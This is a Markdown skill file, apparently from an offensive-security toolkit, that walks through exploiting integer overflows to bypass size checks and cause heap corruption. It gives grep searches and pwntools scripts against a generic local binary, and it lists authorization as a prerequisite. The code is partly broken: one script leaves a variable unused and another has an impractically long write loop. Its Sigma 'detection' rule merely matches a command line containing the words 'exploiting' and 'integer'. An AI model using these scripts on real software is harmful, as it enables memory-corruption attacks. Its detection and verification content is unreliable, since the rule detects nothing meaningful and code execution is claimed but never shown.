<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
---
name: exploiting-integer-overflow-vulnerabilities
description: >-
  Exploit integer overflow and underflow vulnerabilities to bypass size checks, trigger heap overflows, and achieve memory corruption through arithmetic boundary conditions.
domain: cybersecurity
subdomain: binary-exploitation
tags:
  - integer-overflow
  - integer-underflow
  - size-check-bypass
  - arithmetic
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1203"]
  cwe: ["CWE-190", "CWE-191"]
  tools: ["pwntools", "GEF", "gdb", "source-audit"]
---

# Exploiting Integer Overflow Vulnerabilities

## Overview

Exploit integer overflow and underflow vulnerabilities to bypass size checks, trigger heap overflows, and achieve memory corruption through arithmetic boundary conditions.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `pwntools` | Security tooling |
| `GDB with GEF` | Security tooling |
| `source code access (preferred)` | Security tooling |
| Target binary with identified vulnerability | Environment requirement |
| Isolated lab environment for testing | Environment requirement |
| Authorization and signed Rules of Engagement (RoE) | Environment requirement |

## Workflow

### Step 1: Identify Integer Overflow

```bash
# Search for vulnerable patterns in source
grep -rn "malloc.*\*" src/        # multiplication overflow in malloc
grep -rn "size_t.*-" src/          # unsigned underflow
grep -rn "int.*len" src/           # signed/unsigned mismatch

# Compile with UBSan for detection
gcc -fsanitize=undefined -g -o vuln_ubsan vuln.c
./vuln_ubsan
```

### Step 2: Trigger Size Check Bypass

```python
from pwn import *

context.binary = elf = ELF("./vuln")
p = process(elf.path)

# Example: size check uses signed int, malloc uses unsigned
# if (size > 0x100) return; // signed comparison
# buf = malloc(size);       // unsigned interpretation
# read(0, buf, size);       // unsigned read

# Send size that passes signed check but wraps unsigned
malicious_size = 0xFFFFFFFF  # -1 as signed int, huge as unsigned
# Or: size that causes multiplication overflow
count = 0x40000001
elem_size = 4
# count * elem_size = 0x100000004 → truncated to 0x4

p.sendline(str(malicious_size).encode())
```

### Step 3: Heap Overflow via Integer Overflow

```python
from pwn import *

context.binary = elf = ELF("./vuln")
p = process(elf.path)

# Overflow: count * sizeof(struct) wraps to small allocation
# but loop writes count * sizeof(struct) bytes
count = (0x100000000 // 0x10) + 1  # wraps to 0x10 in 32-bit

p.sendline(str(count).encode())

# Now we have a heap overflow — write beyond allocation
for i in range(count):
    p.send(p64(0x41414141) + p64(0x42424242))

p.interactive()
```

## Detection

```yaml
title: Exploiting Integer Overflow Vulnerabilities Detection
id: cbd0e061-c01d-4225-a137-caa6c2d82dcc
status: experimental
description: Detects suspicious activity related to exploiting integer overflow vulnerabilities techniques in binary exploitation context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*exploiting*integer*"
  condition: selection
level: critical
tags:
  - attack.t1203
  - attack.execution
falsepositives:
  - Vulnerability scanner testing known exploit signatures
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Exploiting Integer Overflow Vulnerabilities Detection | windows/process_creation | Sigma rule (critical) |
| ATT&CK Coverage | MITRE ATT&CK | T1203 |

## Verification

- [ ] Integer overflow condition identified
- [ ] Size check bypass confirmed
- [ ] Memory corruption achieved via truncated allocation
- [ ] Exploit converts integer overflow to code execution

## References

- [CWE-190](https://cwe.mitre.org/data/definitions/190.html)
- [Integer Overflow Attacks](https://sploitfun.wordpress.com/2015/06/23/integer-overflow/)
